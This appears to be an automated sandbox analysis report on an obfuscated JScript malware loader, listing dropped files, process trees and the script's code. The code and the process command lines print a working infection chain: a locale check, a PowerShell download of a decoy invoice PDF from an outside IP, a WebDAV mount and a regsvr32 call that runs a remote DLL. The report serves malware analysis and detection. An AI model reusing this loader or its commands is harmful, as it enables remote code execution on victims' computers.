Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16050), with CRLF line terminators
Entropy (8bit):	4.884250516963955
TrID:
File name:	3462260851125011899.js
File size:	19'642 bytes
MD5:	cce8f7569f95a21aa6bc1c21e236e1dd
SHA1:	e90b38d72581f5e0820a16ebf942977e0960cb0e
SHA256:	77624fda846f3161936d4a19442c57dcec1194895e05cc482c6552f332c689cf
SHA512:	7bf330af86ce6599ea23f6151aa983564703e7674dac98d501f162f3c0cedf80bf0a5c8ac3169718535619c169ef24844d9cb6152d95a9697f5f9f628b2dd47a
SSDEEP:	384:g1c3MWFtytorBh7JiSF+DdBG6eWG1S78rlbaIT8hZU6EjWPVKS5Kxg:g1cNtytorBh7JiSF+DdBG6eWG1S78rlS
TLSH:	2A927694A516E1C9C6F982F0C2D93C80332D62EC8DF5F5CF1A361554266C458EBF2AF9
File Content Preview:	function rxvzibnm(){fiyduwa=[1031,3079,5127,4103,2055,3072];var etqecs=this[caxhtqrg+pcatabwg+hefivxfpm+qtrldlcvn+rarhlnd+pafvmoor+fwuyaffav+rpxej](this[tfvdnxlc+jlhmixkm+fboomkjtt+hefivxfpm+xlgdhxsfh+caxhtqrg+rpxej][efmjnhs+hefivxfpm+rarhlnd+pcatabwg+rpx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	21:42:12
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js"
Imagebase:	0x7ff603c20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:42:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll
Imagebase:	0x7ff66c1f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:42:13
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:42:13
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:42:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:42:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66c1f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:42:18
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73fe70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:42:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:42:19
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:42:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1560,i,10704181982839442004,3843594167041106961,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rxvzibnm() {	rxvzibnm() ➔ undefined
1	fiyduwa = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var etqecs = this[caxhtqrg + pcatabwg + hefivxfpm + qtrldlcvn + rarhlnd + pafvmoor + fwuyaffav + rpxej] ( this[tfvdnxlc + jlhmixkm + fboomkjtt + hefivxfpm + xlgdhxsfh + caxhtqrg + rpxej][efmjnhs + hefivxfpm + rarhlnd + pcatabwg + rpxej + rarhlnd + znkxr + gjnxfj + xjwerfq + rarhlnd + fboomkjtt + rpxej] ( tfvdnxlc + jlhmixkm + fboomkjtt + hefivxfpm + xlgdhxsfh + caxhtqrg + rpxej + xqhclmc + jlhmixkm + wlwlhuej + rarhlnd + afhkbdnk + afhkbdnk ) [mmxjsmwm + rarhlnd + hdltcrw + mmxjsmwm + rarhlnd + pcatabwg + xmejxw] ( kwaua + xliuh + tawblfxvi + mujgmdgc + mzaidrf + efmjnhs + seugqjgd + mmxjsmwm + mmxjsmwm + tawblfxvi + thtbyrjf + gzfqnx + mzaidrf + seugqjgd + jlhmixkm + tawblfxvi + mmxjsmwm + jtmnsf + efmjnhs + mwluhvoc + fwuyaffav + rpxej + hefivxfpm + mwluhvoc + afhkbdnk + ejmihp + gjjzjhax + pcatabwg + fwuyaffav + rarhlnd + afhkbdnk + jtmnsf + pafvmoor + fwuyaffav + rpxej + rarhlnd + hefivxfpm + fwuyaffav + pcatabwg + rpxej + xlgdhxsfh + mwluhvoc + fwuyaffav + pcatabwg + afhkbdnk + jtmnsf + gljpgmyq + mwluhvoc + fboomkjtt + pcatabwg + afhkbdnk + rarhlnd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tomqdwpj = 0 ; tomqdwpj < fiyduwa[afhkbdnk + rarhlnd + fwuyaffav + hdltcrw + rpxej + wlwlhuej] ; ++ tomqdwpj )
4	{
5	if ( etqecs == fiyduwa[tomqdwpj] )
6	{
7	etqecs = true;
8	break ;
9	}
10	}
11	if ( etqecs !== true )
12	this[tfvdnxlc + jlhmixkm + fboomkjtt + hefivxfpm + xlgdhxsfh + caxhtqrg + rpxej][isikfv + zltrdb + xlgdhxsfh + rpxej] ( );
13	this[tfvdnxlc + jlhmixkm + fboomkjtt + hefivxfpm + xlgdhxsfh + caxhtqrg + rpxej][efmjnhs + hefivxfpm + rarhlnd + pcatabwg + rpxej + rarhlnd + znkxr + gjnxfj + xjwerfq + rarhlnd + fboomkjtt + rpxej] ( tfvdnxlc + jlhmixkm + fboomkjtt + hefivxfpm + xlgdhxsfh + caxhtqrg + rpxej + xqhclmc + jlhmixkm + wlwlhuej + rarhlnd + afhkbdnk + afhkbdnk ) [hefivxfpm + zltrdb + fwuyaffav] ( fboomkjtt + kfoxahmha + xmejxw + ejmihp + yizjaxjhh + fboomkjtt + ejmihp + caxhtqrg + mwluhvoc + hfriqpifg + rarhlnd + hefivxfpm + qtrldlcvn + wlwlhuej + rarhlnd + afhkbdnk + afhkbdnk + xqhclmc + rarhlnd + csjnty + rarhlnd + ejmihp + oahkks + efmjnhs + mwluhvoc + kfoxahmha + kfoxahmha + pcatabwg + fwuyaffav + xmejxw + ejmihp + ubqzak + pafvmoor + fwuyaffav + dlfjw + mwluhvoc + clpwsewjb + rarhlnd + oahkks + tfvdnxlc + rarhlnd + gjnxfj + mmxjsmwm + rarhlnd + smxujpv + zltrdb + rarhlnd + qtrldlcvn + rpxej + ejmihp + oahkks + znkxr + zltrdb + rpxej + uhzmeapuk + xlgdhxsfh + afhkbdnk + rarhlnd + ejmihp + uypeavur + rpxej + rarhlnd + kfoxahmha + caxhtqrg + uypeavur + jtmnsf + xlgdhxsfh + fwuyaffav + dlfjw + mwluhvoc + xlgdhxsfh + fboomkjtt + rarhlnd + xqhclmc + caxhtqrg + xmejxw + iihxiq + ejmihp + wlwlhuej + rpxej + rpxej + caxhtqrg + hitwj + yizjaxjhh + yizjaxjhh + ekshnt + xdjyn + sindx + xqhclmc + ekshnt + qtgovgjir + sindx + xqhclmc + ekshnt + xqhclmc + egwbe + nnlhym + hbmxho + yizjaxjhh + xlgdhxsfh + fwuyaffav + dlfjw + mwluhvoc + xlgdhxsfh + fboomkjtt + rarhlnd + xqhclmc + caxhtqrg + wlwlhuej + caxhtqrg + ubqzak + inkdjvqlp + inkdjvqlp + qtrldlcvn + rpxej + pcatabwg + hefivxfpm + rpxej + ejmihp + uypeavur + rpxej + rarhlnd + kfoxahmha + caxhtqrg + uypeavur + jtmnsf + xlgdhxsfh + fwuyaffav + dlfjw + mwluhvoc + xlgdhxsfh + fboomkjtt + rarhlnd + xqhclmc + caxhtqrg + xmejxw + iihxiq + inkdjvqlp + inkdjvqlp + fboomkjtt + kfoxahmha + xmejxw + ejmihp + yizjaxjhh + fboomkjtt + ejmihp + fwuyaffav + rarhlnd + rpxej + ejmihp + zltrdb + qtrldlcvn + rarhlnd + ejmihp + jtmnsf + jtmnsf + ekshnt + xdjyn + sindx + xqhclmc + ekshnt + qtgovgjir + sindx + xqhclmc + ekshnt + xqhclmc + egwbe + nnlhym + hbmxho + phbrix + zgnrb + zgnrb + zgnrb + zgnrb + jtmnsf + xmejxw + pcatabwg + dlfjw + hfriqpifg + hfriqpifg + hfriqpifg + hefivxfpm + mwluhvoc + mwluhvoc + rpxej + jtmnsf + inkdjvqlp + inkdjvqlp + fboomkjtt + kfoxahmha + xmejxw + ejmihp + yizjaxjhh + fboomkjtt + ejmihp + hefivxfpm + rarhlnd + hdltcrw + qtrldlcvn + dlfjw + hefivxfpm + sindx + egwbe + ejmihp + yizjaxjhh + qtrldlcvn + ejmihp + jtmnsf + jtmnsf + ekshnt + xdjyn + sindx + xqhclmc + ekshnt + qtgovgjir + sindx + xqhclmc + ekshnt + xqhclmc + egwbe + nnlhym + hbmxho + phbrix + zgnrb + zgnrb + zgnrb + zgnrb + jtmnsf + xmejxw + pcatabwg + dlfjw + hfriqpifg + hfriqpifg + hfriqpifg + hefivxfpm + mwluhvoc + mwluhvoc + rpxej + jtmnsf + ekshnt + hbmxho + egwbe + sindx + ekshnt + sindx + ekshnt + qtgovgjir + egwbe + ekshnt + egwbe + hbmxho + ekshnt + lksvzuq + nnlhym + xqhclmc + xmejxw + afhkbdnk + afhkbdnk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll",0,false) ➔ 0
14	}
15	mzaidrf = "D";
16	mzaidrf = "J";
17	mzaidrf = "f";
18	mzaidrf = "j";
19	mzaidrf = "F";
20	mzaidrf = "t";
21	mzaidrf = "P";
22	mzaidrf = "g";
23	mzaidrf = "_";
24	zgnrb = "h";
25	zgnrb = "Q";
26	zgnrb = "w";
27	zgnrb = "n";
28	zgnrb = "R";
29	zgnrb = "P";
30	zgnrb = "e";
31	zgnrb = "e";
32	zgnrb = "u";
33	zgnrb = "k";
34	zgnrb = "c";
35	zgnrb = "B";
36	zgnrb = "j";
37	zgnrb = "w";
38	zgnrb = "l";
39	zgnrb = "K";
40	zgnrb = "t";
41	zgnrb = "k";
42	zgnrb = "T";
43	zgnrb = "o";
44	zgnrb = "A";
45	zgnrb = "E";
46	zgnrb = "U";
47	zgnrb = "c";
48	zgnrb = "f";
49	zgnrb = "U";
50	zgnrb = "J";
51	zgnrb = "k";
52	zgnrb = "8";
53	smxujpv = "A";
54	smxujpv = "M";
55	smxujpv = "s";
56	smxujpv = "W";
57	smxujpv = "E";
58	smxujpv = "o";
59	smxujpv = "n";
60	smxujpv = "H";
61	smxujpv = "q";
62	pcatabwg = "x";
63	pcatabwg = "G";
64	pcatabwg = "n";
65	pcatabwg = "j";
66	pcatabwg = "M";
67	pcatabwg = "x";
68	pcatabwg = "T";
69	pcatabwg = "A";
70	pcatabwg = "s";
71	pcatabwg = "a";
72	pcatabwg = "v";
73	pcatabwg = "a";
74	pcatabwg = "a";
75	iihxiq = "u";
76	iihxiq = "K";
77	iihxiq = "q";
78	iihxiq = "x";
79	iihxiq = "I";
80	iihxiq = "U";
81	iihxiq = "n";
82	iihxiq = "y";
83	iihxiq = "V";
84	iihxiq = "d";
85	iihxiq = "e";
86	iihxiq = "t";
87	iihxiq = "K";
88	iihxiq = "l";
89	iihxiq = "i";
90	iihxiq = "P";
91	iihxiq = "t";
92	iihxiq = "T";
93	iihxiq = "v";
94	iihxiq = "A";
95	iihxiq = "n";
96	iihxiq = "u";
97	iihxiq = "D";
98	iihxiq = "J";
99	iihxiq = "n";
100	iihxiq = "Y";
101	iihxiq = "e";
102	iihxiq = "M";
103	iihxiq = "q";
104	iihxiq = "D";
105	iihxiq = "y";
106	iihxiq = "K";
107	iihxiq = "H";
108	iihxiq = "Z";
109	iihxiq = "f";
110	iihxiq = "u";
111	iihxiq = "P";
112	iihxiq = "q";
113	iihxiq = "t";
114	iihxiq = "x";
115	iihxiq = "f";
116	mwluhvoc = "g";
117	mwluhvoc = "B";
118	mwluhvoc = "C";
119	mwluhvoc = "c";
120	mwluhvoc = "W";
121	mwluhvoc = "k";
122	mwluhvoc = "R";
123	mwluhvoc = "J";
124	mwluhvoc = "p";
125	mwluhvoc = "B";
126	mwluhvoc = "y";
127	mwluhvoc = "w";
128	mwluhvoc = "F";
129	mwluhvoc = "a";
130	mwluhvoc = "C";
131	mwluhvoc = "u";
132	mwluhvoc = "g";
133	mwluhvoc = "w";
134	mwluhvoc = "J";
135	mwluhvoc = "c";
136	mwluhvoc = "U";
137	mwluhvoc = "u";
138	mwluhvoc = "o";
139	mwluhvoc = "Z";
140	mwluhvoc = "G";
141	mwluhvoc = "o";
142	xlgdhxsfh = "E";
143	xlgdhxsfh = "y";
144	xlgdhxsfh = "x";
145	xlgdhxsfh = "x";
146	xlgdhxsfh = "P";
147	xlgdhxsfh = "G";
148	xlgdhxsfh = "O";
149	xlgdhxsfh = "M";
150	xlgdhxsfh = "B";
151	xlgdhxsfh = "N";
152	xlgdhxsfh = "p";
153	xlgdhxsfh = "F";
154	xlgdhxsfh = "X";
155	xlgdhxsfh = "b";
156	xlgdhxsfh = "q";
157	xlgdhxsfh = "R";
158	xlgdhxsfh = "E";
159	xlgdhxsfh = "n";
160	xlgdhxsfh = "j";
161	xlgdhxsfh = "W";
162	xlgdhxsfh = "F";
163	xlgdhxsfh = "y";
164	xlgdhxsfh = "A";
165	xlgdhxsfh = "T";
166	xlgdhxsfh = "g";
167	xlgdhxsfh = "U";
168	xlgdhxsfh = "Z";
169	xlgdhxsfh = "y";
170	xlgdhxsfh = "m";
171	xlgdhxsfh = "o";
172	xlgdhxsfh = "R";
173	xlgdhxsfh = "o";
174	xlgdhxsfh = "n";
175	xlgdhxsfh = "M";
176	xlgdhxsfh = "z";
177	xlgdhxsfh = "W";
178	xlgdhxsfh = "i";
179	yizjaxjhh = "T";
180	yizjaxjhh = "K";
181	yizjaxjhh = "K";
182	yizjaxjhh = "P";
183	yizjaxjhh = "P";
184	yizjaxjhh = "c";
185	yizjaxjhh = "g";
186	yizjaxjhh = "Z";
187	yizjaxjhh = "q";
188	yizjaxjhh = "j";
189	yizjaxjhh = "K";
190	yizjaxjhh = "/";
191	hbmxho = "P";
192	hbmxho = "h";
193	hbmxho = "b";
194	hbmxho = "Z";
195	hbmxho = "A";
196	hbmxho = "A";
197	hbmxho = "J";
198	hbmxho = "N";
199	hbmxho = "M";
200	hbmxho = "f";
201	hbmxho = "a";
202	hbmxho = "S";
203	hbmxho = "5";
204	lksvzuq = "w";
205	lksvzuq = "X";
206	lksvzuq = "x";
207	lksvzuq = "h";
208	lksvzuq = "h";
209	lksvzuq = "J";
210	lksvzuq = "R";
211	lksvzuq = "n";
212	lksvzuq = "v";
213	lksvzuq = "h";
214	lksvzuq = "A";
215	lksvzuq = "X";
216	lksvzuq = "c";
217	lksvzuq = "D";
218	lksvzuq = "I";
219	lksvzuq = "n";
220	lksvzuq = "f";
221	lksvzuq = "7";
222	tawblfxvi = "y";
223	tawblfxvi = "f";
224	tawblfxvi = "y";
225	tawblfxvi = "X";
226	tawblfxvi = "S";
227	tawblfxvi = "m";
228	tawblfxvi = "M";
229	tawblfxvi = "C";
230	tawblfxvi = "U";
231	tawblfxvi = "v";
232	tawblfxvi = "F";
233	tawblfxvi = "Q";
234	tawblfxvi = "r";
235	tawblfxvi = "K";
236	tawblfxvi = "I";
237	tawblfxvi = "m";
238	tawblfxvi = "z";
239	tawblfxvi = "N";
240	tawblfxvi = "R";
241	tawblfxvi = "j";
242	tawblfxvi = "z";
243	tawblfxvi = "a";
244	tawblfxvi = "F";
245	tawblfxvi = "C";
246	tawblfxvi = "l";
247	tawblfxvi = "S";
248	tawblfxvi = "q";
249	tawblfxvi = "E";
250	znkxr = "N";
251	znkxr = "y";
252	znkxr = "F";
253	znkxr = "W";
254	znkxr = "V";
255	znkxr = "v";
256	znkxr = "W";
257	znkxr = "q";
258	znkxr = "S";
259	znkxr = "C";
260	znkxr = "J";
261	znkxr = "h";
262	znkxr = "p";
263	znkxr = "Y";
264	znkxr = "Y";
265	znkxr = "P";
266	znkxr = "I";
267	znkxr = "Z";
268	znkxr = "X";
269	znkxr = "e";
270	znkxr = "Q";
271	znkxr = "C";
272	znkxr = "Y";
273	znkxr = "y";
274	znkxr = "c";
275	znkxr = "E";
276	znkxr = "o";
277	znkxr = "V";
278	znkxr = "h";
279	znkxr = "n";
280	znkxr = "Z";
281	znkxr = "Z";
282	znkxr = "O";
283	isikfv = "A";
284	isikfv = "x";
285	isikfv = "Q";
286	isikfv = "B";
287	isikfv = "C";
288	isikfv = "s";
289	isikfv = "T";
290	isikfv = "u";
291	isikfv = "s";
292	isikfv = "T";
293	isikfv = "B";
294	isikfv = "a";
295	isikfv = "Q";
296	isikfv = "R";
297	isikfv = "R";
298	isikfv = "w";
299	isikfv = "P";
300	isikfv = "p";
301	isikfv = "Z";
302	isikfv = "Z";
303	isikfv = "Q";
304	hdltcrw = "j";
305	hdltcrw = "c";
306	hdltcrw = "F";
307	hdltcrw = "d";
308	hdltcrw = "y";
309	hdltcrw = "S";
310	hdltcrw = "U";
311	hdltcrw = "q";
312	hdltcrw = "N";
313	hdltcrw = "I";
314	hdltcrw = "K";
315	hdltcrw = "T";
316	hdltcrw = "V";
317	hdltcrw = "u";
318	hdltcrw = "n";
319	hdltcrw = "t";
320	hdltcrw = "v";
321	hdltcrw = "U";
322	hdltcrw = "t";
323	hdltcrw = "n";
324	hdltcrw = "S";
325	hdltcrw = "l";
326	hdltcrw = "F";
327	hdltcrw = "J";
328	hdltcrw = "D";
329	hdltcrw = "Z";
330	hdltcrw = "g";
331	mmxjsmwm = "L";
332	mmxjsmwm = "d";
333	mmxjsmwm = "E";
334	mmxjsmwm = "s";
335	mmxjsmwm = "R";
336	pafvmoor = "O";
337	pafvmoor = "J";
338	pafvmoor = "h";
339	pafvmoor = "n";
340	pafvmoor = "a";
341	pafvmoor = "l";
342	pafvmoor = "R";
343	pafvmoor = "k";
344	pafvmoor = "m";
345	pafvmoor = "H";
346	pafvmoor = "o";
347	pafvmoor = "H";
348	pafvmoor = "I";
349	pafvmoor = "h";
350	pafvmoor = "f";
351	pafvmoor = "i";
352	pafvmoor = "l";
353	pafvmoor = "A";
354	pafvmoor = "V";
355	pafvmoor = "G";
356	pafvmoor = "L";
357	pafvmoor = "b";
358	pafvmoor = "V";
359	pafvmoor = "P";
360	pafvmoor = "H";
361	pafvmoor = "k";
362	pafvmoor = "Z";
363	pafvmoor = "m";
364	pafvmoor = "q";
365	pafvmoor = "f";
366	pafvmoor = "I";
367	hfriqpifg = "q";
368	hfriqpifg = "t";
369	hfriqpifg = "I";
370	hfriqpifg = "P";
371	hfriqpifg = "y";
372	hfriqpifg = "X";
373	hfriqpifg = "X";
374	hfriqpifg = "K";
375	hfriqpifg = "T";
376	hfriqpifg = "B";
377	hfriqpifg = "A";
378	hfriqpifg = "c";
379	hfriqpifg = "z";
380	hfriqpifg = "p";
381	hfriqpifg = "L";
382	hfriqpifg = "L";
383	hfriqpifg = "x";
384	hfriqpifg = "j";
385	hfriqpifg = "k";
386	hfriqpifg = "c";
387	hfriqpifg = "B";
388	hfriqpifg = "E";
389	hfriqpifg = "w";
390	gljpgmyq = "v";
391	gljpgmyq = "G";
392	gljpgmyq = "i";
393	gljpgmyq = "f";
394	gljpgmyq = "M";
395	gljpgmyq = "s";
396	gljpgmyq = "G";
397	gljpgmyq = "C";
398	gljpgmyq = "g";
399	gljpgmyq = "X";
400	gljpgmyq = "V";
401	gljpgmyq = "W";
402	gljpgmyq = "t";
403	gljpgmyq = "S";
404	gljpgmyq = "e";
405	gljpgmyq = "O";
406	gljpgmyq = "G";
407	gljpgmyq = "T";
408	gljpgmyq = "u";
409	gljpgmyq = "n";
410	gljpgmyq = "m";
411	gljpgmyq = "e";
412	gljpgmyq = "E";
413	gljpgmyq = "e";
414	gljpgmyq = "p";
415	gljpgmyq = "z";
416	gljpgmyq = "I";
417	gljpgmyq = "m";
418	gljpgmyq = "j";
419	gljpgmyq = "k";
420	gljpgmyq = "j";
421	gljpgmyq = "k";
422	gljpgmyq = "i";
423	gljpgmyq = "h";
424	gljpgmyq = "R";
425	gljpgmyq = "Z";
426	gljpgmyq = "Y";
427	gljpgmyq = "D";
428	gljpgmyq = "L";
429	tfvdnxlc = "m";
430	tfvdnxlc = "M";
431	tfvdnxlc = "e";
432	tfvdnxlc = "r";
433	tfvdnxlc = "u";
434	tfvdnxlc = "j";
435	tfvdnxlc = "C";
436	tfvdnxlc = "V";
437	tfvdnxlc = "D";
438	tfvdnxlc = "O";
439	tfvdnxlc = "z";
440	tfvdnxlc = "j";
441	tfvdnxlc = "B";
442	tfvdnxlc = "W";
443	xmejxw = "l";
444	xmejxw = "Q";
445	xmejxw = "H";
446	xmejxw = "y";
447	xmejxw = "W";
448	xmejxw = "h";
449	xmejxw = "Z";
450	xmejxw = "a";
451	xmejxw = "B";
452	xmejxw = "d";
453	qtrldlcvn = "V";
454	qtrldlcvn = "x";
455	qtrldlcvn = "y";
456	qtrldlcvn = "Y";
457	qtrldlcvn = "a";
458	qtrldlcvn = "j";
459	qtrldlcvn = "x";
460	qtrldlcvn = "S";
461	qtrldlcvn = "f";
462	qtrldlcvn = "l";
463	qtrldlcvn = "L";
464	qtrldlcvn = "s";
465	nnlhym = "I";
466	nnlhym = "r";
467	nnlhym = "w";
468	nnlhym = "A";
469	nnlhym = "x";
470	nnlhym = "0";
471	hitwj = "L";
472	hitwj = "V";
473	hitwj = "E";
474	hitwj = "B";
475	hitwj = "S";
